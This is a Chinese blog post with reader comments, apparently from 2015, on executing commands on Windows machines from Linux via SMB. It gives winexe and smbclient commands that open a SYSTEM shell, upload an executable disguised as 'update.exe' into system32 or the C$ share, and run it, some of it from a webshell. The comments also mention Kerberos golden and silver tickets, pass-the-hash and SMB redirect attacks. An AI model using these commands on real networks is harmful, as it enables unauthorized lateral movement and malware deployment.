Linux下smb 挂载执行Windows下命令
2015-04-28 15:25
931 查看
Winexe smbclient mount思想碰撞了今天,20150428;头脑风暴.
winexe -U Administrator%Password --uninstall --system //10.10.0.6 cmd.exewinexe可以自己编译好丢上去.(Winexe Python 版本 https://github.com/jakobadam/python-winexe) smbclient有个put上传啊,help一下所有命令smb:\>put /root/Desktop/enc.exe \windows\system32\update.exe执行就用winexewinexe -U domain/user%pass //ip c:\\windows\\system\\update.exes!lly3r|smbclient //IP/patch -U user%pass -c "put x.exe"webshell都可以操作 不需要交互的shell域的机器记得加 -W 指定域 不然可能登录失败bingfeng成功:smbclient -c 'cd temp;put /tmp/1.exe 1.exe;ls' //ip/c$ -U user%pass在shell 里面必须用单引号 不然分号会截断本身system 执行的命令
^_^一直关注博主你学习到不是姿势,thx你.博主木有Linux下跨Windows的一些招式么?如:Winexe smbclient mount额 mount需要root权限才能运行;但是winexe本地编译好丢上去即可;smbclient自带就最好了.(Winexe Python 版本 https://github.com/jakobadam/python-winexe) smbclient //IP/patch -U user%pass -c "put x.exe"webshell都可以操作 不需要交互的shell域的机器记得加 -W 指定域 不然可能登录失败执行就用winexewinexe -U domain/user%pass //ip c:\\windows\\system\\x.exe或者smbclient //IP/patch -U user%pass -c "start x.exe"smbclient -c 'cd temp;put /tmp/1.exe 1.exe;ls' //ip/c$ -U user%pass在shell 里面必须用单引号 不然分号会截断本身system 执行的命令或者Linux下C或者python 扫描ipc smb的实用脚本.(impacket? pysmb? 我都弄不出使用脚本,可能我太菜了....)网上有个smbsync.py.smb协议重定向攻击(http://blog.cylance.com/redirect-to-smb) (MS15出了个洞就说这个命令执行的.)SpiderLabs(SMB嗅探) (https://www.trustwave.com/Resources/SpiderLabs-Blog/Top-Five-Ways-SpiderLabs-Got-Domain-Admin-on-Your-Internal-Network/)Windows票据 黄金票据 白银票据等等这些,Kerberos ticket TGT TGS .... (HASH注入验证也可以..)远控就是硬功夫了...差不多就这些......我邮箱是我QQ,希望能和博主一起交流交流.
相关文章推荐
- 在Linux下使用Smbmount命令挂载Windows共享
- 在Linux下用mount和smbmount命令挂载Windows共享
- 0006_02 Linux下用Smbmount命令挂载Windows共享
- 在Linux下用Smbmount命令挂载Windows共享
- Linux挂载windows共享的命令
- 在Windows下用plink工具批量实现自动远程登录Linux并执行关机命令
- java执行客户端命令(windows与linux通用)
- 在Linux下用Smbmount命令挂载
- ubuntu等linux挂载windows的共享目录的命令
- linux/windows 命令行,如何退出某条命令。如何重新执行另一命令
- Windows远程linux服务器执行shell命令
- 多学一点(二)——在 Linux 下挂载 Windows 共享目录、使用 scp 命令在两台 Linux 间传输数据
- java调用windows/Linux/Unix 命令行执行命令的方法--调用ImageMagick的合并图形的命令
- linux远程windows执行命令
- linux下增加自动执行的命令(即windows下的批处理)的方法
- java Windows下cmd 命令和Linux下shell命令 执行非JDK中的jar包
- Java /Jsp 执行操作系统命令 windows/Linux
- 【漏洞公告】高危:Windows系统 SMB/RDP远程命令执行漏洞
- 在windows cgywinportable上,通过执行linux命令,批量修改文件名称。
- Java /Jsp 执行操作系统命令 windows/Linux